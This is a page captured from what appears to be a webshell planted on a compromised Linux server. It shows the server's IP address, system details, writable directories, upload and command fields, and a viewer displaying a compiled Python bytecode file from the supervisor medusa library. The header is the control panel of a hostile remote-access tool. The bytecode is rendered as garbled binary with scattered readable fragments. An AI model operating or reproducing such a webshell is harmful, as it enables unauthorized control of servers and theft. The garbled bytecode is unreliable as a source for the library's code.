403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.163
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/supervisor/medusa/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/supervisor/medusa/__pycache__/producers.cpython-312.pyc
�

A�c!#��6�dZ	ddlmZddlmZGd�d�ZGd�d�ZGd�d	�ZGd
�d�ZGd�d
�Z	Gd�d�Z
Gd�d�ZGd�d�ZGd�d�Z
Gd�d�Z	ddlZGd�d�ZGd�d�Zy#e$rdZY�wxYw)z;$Id: producers.py,v 1.9 2004/04/21 13:56:28 akuchling Exp $�)�find_prefix_at_end)�as_bytesc��eZdZdZdd�Zd�Zy)�simple_producerzproducer for a stringc� �||_||_y�N)�data�buffer_size��selfr	r
s   �=/usr/lib/python3/dist-packages/supervisor/medusa/producers.py�__init__zsimple_producer.__init__s����	�&���c���t|j�|jkDr9|jd|j}|j|jd|_|S|j}d|_|S�Nr)�lenr	r
�r�results  r
�morezsimple_producer.moresb����	�	�?�T�-�-�-��Y�Y�0�� 0� 0�1�F��	�	�$�"2�"2�"3�4�D�I��M��Y�Y�F��D�I��MrN�i��__name__�
__module__�__qualname__�__doc__rr�rr
rrs���'�rrc��eZdZdZdd�Zd�Zy)�scanning_producerz:like simple_producer, but more efficient for large stringsc�.�||_||_d|_y�Nr)r	r
�posrs   r
rzscanning_producer.__init__#s����	�&�����rc�*�|jt|j�krq|j}tt|j�|j|jz�}|j||}|xjt|�z
c_|Syr)r!rr	�minr
)r�lp�rprs    r
rzscanning_producer.more(sr���8�8�c�$�)�)�n�$����B����	�	�N��H�H�t�/�/�/��B��Y�Y�r�"�%�F��H�H��F��#�H��M�rNrrrrr
rr!s��D��
rrc��eZdZdZd�Zd�Zy)�lines_producerzproducer for a list of linesc��||_yr)�lines�rr)s  r
rzlines_producer.__init__8s	����
rc��|jr7|jdd}|jdd|_dj|�dzSy)N�2�
�)r)�join)r�chunks  r
rzlines_producer.more;s@���:�:��J�J�s��O�E����B�C��D�J��;�;�u�%��.�.�rNrrrr
r'r'5s��&��rr'c��eZdZdZd�Zd�Zy)�buffer_list_producerzproducer for a list of stringsc� �d|_||_yr )�index�buffers)rr5s  r
rzbuffer_list_producer.__init__Hs����
���rc��|jt|j�k\ry|j|j}|xjdz
c_|S�Nr�)r4rr5�rr	s  r
rzbuffer_list_producer.moreLs>���:�:��T�\�\�*�*���<�<��
�
�+�D��J�J�!�O�J��KrNrrrr
r2r2Cs��(��rr2c� �eZdZdZdZd�Zd�Zy)�
file_producerz(producer wrapper for file[-like] objects�c� �d|_||_yr )�done�file)rr?s  r
rzfile_producer.__init__Zs����	���	rc��|jry|jj|j�}|s$|jj	�|`d|_y|Sr7)r>r?�read�out_buffer_size�closer9s  r
rzfile_producer.more^sI���9�9���9�9�>�>�4�#7�#7�8�D���	�	���!��I���	���rN)rrrrrBrrrrr
r;r;Ts��2��O��rr;c�:�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
y	)
�output_producerz;Acts like an output file; suitable for capturing sys.stdoutc��d|_yr�r	�rs r
rzoutput_producer.__init__ts	����	rc�r�|jd�}dj|�}|xj|z
c_y)N�
r-)�splitr/r	)rr	r)s   r
�writezoutput_producer.writews,���
�
�4� ���{�{�5�!���	�	�T��	rc�2�|j|zdz|_y�Nr-rG)r�lines  r
�	writelinezoutput_producer.writeline|s���I�I��$�v�-��	rc�P�|jdj|�zdz|_yrN)r	r/r*s  r
�
writelineszoutput_producer.writeliness ���I�I����E� 2�2�V�;��	rc��yrrrHs r
�flushzoutput_producer.flush����rc��yrr)r�argss  r
�	softspacezoutput_producer.softspace�rUrc�f�|jr%|jdd}|jdd|_|Sy)Nir.rGrs  r
rzoutput_producer.more�s1���9�9��Y�Y�t��_�F��	�	�#�$��D�I��M�rN)rrrrrrLrPrRrTrXrrrr
rErErs(��E���
.�<�
�
�rrEc��eZdZdZd�Zd�Zy)�composite_producerz$combine a fifo of producers into onec��||_yr)�	producers)rr]s  r
rzcomposite_producer.__init__�s	��"��rc���t|j�rT|jd}|j�}|r|S|jjd�t|j�r�Ty)Nrr)rr]r�pop)r�p�ds   r
rzcomposite_producer.more�sT���$�.�.�!����q�!�A�����A�������"�"�1�%�
�$�.�.�!�rNrrrr
r[r[�s��.�#�	rr[c��eZdZdZdd�Zd�Zy)�globbing_producerz�
    'glob' the output from a producer into a particular buffer size.
    helps reduce the number of calls to send().  [this appears to
    gain about 30% performance on requests to a single channel]
    c�.�||_d|_||_yr)�producer�bufferr
)rrer
s   r
rzglobbing_producer.__init__�s�� ��
����&��rc��t|j�|jkrU|jj	�}|r|j|z|_nn#t|j�|jkr�U|j}d|_|Sr)rrfr
rer)rr	�rs   r
rzglobbing_producer.more�sq���$�+�+���!1�!1�1��=�=�%�%�'�D��"�k�k�D�0�����$�+�+���!1�!1�1�
�K�K������rN)r<rrrr
rcrc�s���'�
	rrcc��eZdZdZd�Zd�Zy)�hooked_producerz�
    A producer that will call <function> when it empties,.
    with an argument of the number of bytes produced.  Useful
    for logging/instrumentation purposes.
    c�.�||_||_d|_yr )re�function�bytes)rrerls   r
rzhooked_producer.__init__�s�� ��
� ��
���
rc���|jr`|jj�}|s$d|_|j|j�|S|xjt	|�z
c_|Sy)Nr.)rerrlrmrrs  r
rzhooked_producer.more�sX���=�=��]�]�'�'�)�F�� $��
��
�
�t�z�z�*��M��
�
�c�&�k�)�
��M�rNrrrr
rjrj�s����

rrjc��eZdZdZdd�Zd�Zy)�chunked_producera'A producer that implements the 'chunked' transfer coding for HTTP/1.1.
    Here is a sample usage:
            request['Transfer-Encoding'] = 'chunked'
            request.push (
                    producers.chunked_producer (your_producer)
                    )
            request.done()
    Nc� �||_||_yr)re�footers)rrerrs   r
rzchunked_producer.__init__�s�� ��
���rc��|jrt|jj�}|r"dt|�z}t|�dz|zdzSd|_|jr"djdg|jz�dzSyy)Nz%xs
�0s

s0

r)rerrrrrr/)rr	�ss   r
rzchunked_producer.more�sx���=�=��=�=�%�%�'�D���3�t�9�$����{�W�,�t�3�g�=�=� $��
��<�<�"�<�<������(=�>��L�L�'�rrrrrr
rprp�s����
rrpNc��eZdZdZdd�Zd�Zy)�compressed_producerz:
    Compress another producer on-the-fly, using ZLIB
    c�F�||_tj|�|_yr)re�zlib�compressobj�
compressor)rre�levels   r
rzcompressed_producer.__init__s�� ��
��*�*�E�2��rc���|jrad}|s[|jj�}|s!d|_|jj�S|jj	|�}|s�[|Syr)rerr{rT�compress)r�cdatar	s   r
rzcompressed_producer.moresc���=�=��E���}�}�)�)�+���$(�D�M��?�?�0�0�2�2� �O�O�4�4�d�;�E�
��L�rN)�rrrr
rwrw�s���3�
rrwc��eZdZdZdd�Zd�Zy)�escaping_producerz0A producer that escapes a sequence of charactersc�R�||_||_||_d|_t|_yr)re�esc_from�esc_torfr)rrer�r�s    r
rzescaping_producer.__init__ s&�� ��
� ��
�������"4��rc��|j}|j}|j|jj	�z}|r@|j||�}|j
||�}|r||d|_|d|Sd|_|S|Sr)r�r�rfrer�replacer)rr�r�rf�is     r
rzescaping_producer.more's����=�=���;�;�����t�}�}�1�1�3�3����^�^�H�f�5�F��'�'���:�A��$�a�R�S�k����c��r�{�"�"����
��MrN)z
.z
..rrrr
r�r�s��:�5�rr�)�RCS_ID�supervisor.medusa.asynchat_25r�supervisor.compatrrrr'r2r;rEr[rcrjrpry�ImportErrorrwr�rrr
�<module>r�s���
G���=�&��� ��(����"��<��<��"��0��@��:����@���G���D��s�5B�B�B

Youez - 2016 - github.com/yon3zu
LinuXploit